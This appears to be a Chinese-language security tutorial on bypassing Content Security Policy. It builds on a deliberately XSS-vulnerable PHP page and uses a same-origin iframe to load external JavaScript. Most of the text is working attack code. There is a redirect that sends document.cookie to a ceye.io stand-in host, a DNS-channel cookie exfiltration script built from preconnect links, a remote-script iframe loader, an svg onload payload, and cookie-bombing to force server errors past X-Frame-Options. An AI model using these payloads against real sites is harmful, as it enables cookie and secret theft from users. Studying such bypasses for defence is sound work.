iframe绕过csp
看csp规则,默认是在当前域内,允许执行内联js。如果这是一道ctf的话,就很简单了,
window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。
但是要是远程加载js文件是不满足csp规则的。
iframe.php代码如下:
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('afanti','test');
?>
<!DOCTYPE html>
<html>
<head>
<title>bypass csp</title>
</head>
<body>
<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>
<script> <?php echo $_GET['xss']; ?></script>
</body>
远程加载js文件,被csp规则拦截:
这时候可以通过iframe引入外部的js,其中iframe的src属性必须是同域下的(这里加载的是./1.txt),如果src是其他域下的,后面的引入的js代码不满足同源策略,就不能操作当前域的内容
引入的js代码如下:
f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
x=document.createElement('script');
x.src='//www.123.com/csp/1.js';
pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);
这时候就能绕过csp引入其他域下的js了,下面是加载的http://www.123.com/csp/1.js文件。
问题一:虽然能将外部的js引入,不能把浏览器的数据带出来,下面是将cookie发送到其他域下被拦截。
解决办法:通过dns通道来传递cookie。
dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".xxxx.ceye.io\">";
console.log(n0.innerHTML);
}
打到的cookie:
再来获取父窗口的内容<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>
。
获取到的父窗口的内容。
问题二:如果当前网站的头部都加上了:header("X-Frame-Options:DENY");也就是没办法引入同域下的iframe标签,被拦截了,后面的js语句不执行了。
把iframe.src="http://www.123.com/csp/test.php"
;其中test.php头部加上header("X-Frame-Options:DENY"),这样就无法运行后面的js语句,下图被拦截了,这样我们如何来解决哪?
解决办法:
思路就是可以通过让服务器处理出错来绕过,来引入我们外部的js文件。
1、请求一个不存在的地址
2、请求长的url,让服务器产生414错误
3、产生巨大的cookie
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
最后:
当用标签执行时,上面的xss语句不能通过。会爆这个错误:TypeError: Argument 1 of Node.appendChild is not an object。可以把语句换成:
<svg/onload="f=document.createElement('iframe');f.id='pwn';f.src='./1.txt';f.onload=()=>{pwn.contentWindow.document.body.appendChild(document.createElement('script')).src='//xss平台的地址';};document.body.appendChild(f);">
总结:
1、可以通过iframe引入其他域的js文件加载其他域下的js。
利用场景:xss点引入的有长度限制,通过iframe引入其他域的文件,在通过dns通道将本域的数据传出去。
参考链接:https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa